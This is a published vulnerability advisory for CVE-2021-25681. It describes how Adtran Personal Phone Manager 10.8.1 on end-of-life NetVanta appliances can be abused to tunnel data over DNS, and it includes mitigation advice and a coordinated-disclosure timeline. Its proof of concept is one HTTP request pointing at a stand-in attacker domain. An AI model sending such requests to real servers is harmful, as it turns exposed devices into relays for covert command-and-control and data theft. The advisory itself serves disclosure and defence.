[webapps] Adtran Personal Phone Manager 10.8.1 - DNS Exfiltration

# Exploit Title: Adtran Personal Phone Manager 10.8.1 - DNS Exfiltration # Date: 1/21/2021 # Exploit Author: 3ndG4me # Vendor Homepage: https://adtran.com/web/page/portal/Adtran/wp_home # Version: v10.8.1 # Tested on: NetVanta 7060 and NetVanta 7100 # CVE : CVE-2021-25681 # CVE-2021-25681 - AdTran Personal Phone Manager DNS Exfiltration --Summary-- The AdTran Personal Phone Manager software is vulnerable to an issue that allows for exfiltration of data over DNS. This could allow for exposed AdTran Personal Phone Manager web servers to be used as DNS redirectors to tunnel arbitrary data over DNS. ADTRAN, Inc https://adtran.com --Affects-- - AdTran Personal Phone Manager - Verified on v10.8.1 - **Note**: The affected appliances NetVanta 7060 and NetVanta 7100 are considered End of Life and as such this issue will not be patched. It is recommended impacted users update to an actively supported appliance. --Details-- The AdTran Personal Phone Manager software is vulnerable to an issue that allows for exfiltration of data over DNS. This could allow for exposed AdTran Personal Phone Manager web servers to be used as DNS redirectors to tunnel arbitrary data over DNS. This is achieved by simply making a GET request to the vulnerable server containing a reference to a DNS target that is collecting the tunneled data. This can lead to: - Utilizing exposed AdTran Personal Phone Manager Services as a redirector for DNS based Command and Control - Utilizing exposed AdTran Personal Phone Manager Services as a redirector for DNS based arbitrary data exfiltration -- Proof of Concept -- To exploit the issue all that is necessary is a simple DNS request: GET http://mydns.attack.com/ HTTP/1.1 Host: SOME ADTRAN HOST HERE Pragma: no-cache Cache-Control: no-cache, no-transform Connection: close --Mitigation-- The server should be reconfigured to not perform arbitrary DNS lookups when the Host/Get requests do not match. Additionally scoping requests to only be allowed in the context of the application is ideal. --Timeline-- - 1/21/2021: DNS Exfiltration vulnerability was discovered and documented. A temporary CVE identifier was requested by MITRE. AdTran was also notified with the full details of each finding via their product security contact at https://adtran.com/web/page/portal/Adtran/wp_product_security. A baseline 90 day disclosure timeline was established in the initial communication. - 1/22/2021: Placeholder CVE-2021-25681 was assigned by MITRE. - 1/29/2021: A response from AdTran's Product Security Team was received. - 2/8/2021: The researcher responded to the email acknowledging receipt. The encrypted email contents appeared to be corrupted so a request was made to resend the data. - 2/9/2021: AdTran's Product Security Team replied with a re-encrypted copy of the previous communication made on 1/29/2021. The reasearcher was able to successfully decrypt the contents of this communication. The communication informed the researcher that the disclosed issues targeting NetVanta 7060 and NetVanta 7100 would not be addressed. The justification for this decision is that software support ended in June of 2018, and product EOL occurred in December of 2020. As such AdTran would not be invesitgating the issues leaving the details of the findings as is. The reseacher responded with acknowledgement to the decision and requested support to proceed with full disclosure outside of the previously established 90 day timeline. - 2/11/2021: AdTran's product security team responded to the request for full disclosure. They informed the researcher that they would like to discuss the decision internally first. The researcher acknowledged the request and affirmed they would not procceed with disclosure until further notice. - 3/1/2021: AdTran's product security team reached out to inform the researcher that they would support the full disclosure of the vulnerability at the researcher's discretion. They provided a few details on model names to include as EOL for the disclosure details. - 3/2/2021: The researcher acknowledges the approval and informs the product security team that a link will be provided to any future publications once the vulnerability is publicly disclosed. - 3/3/2021: The researcher begins constructing a private repository to prepare the write ups for release. - 4/17/2021: The researcher publishes the repository for full disclosure and notifies MITRE to update the CVE entry details.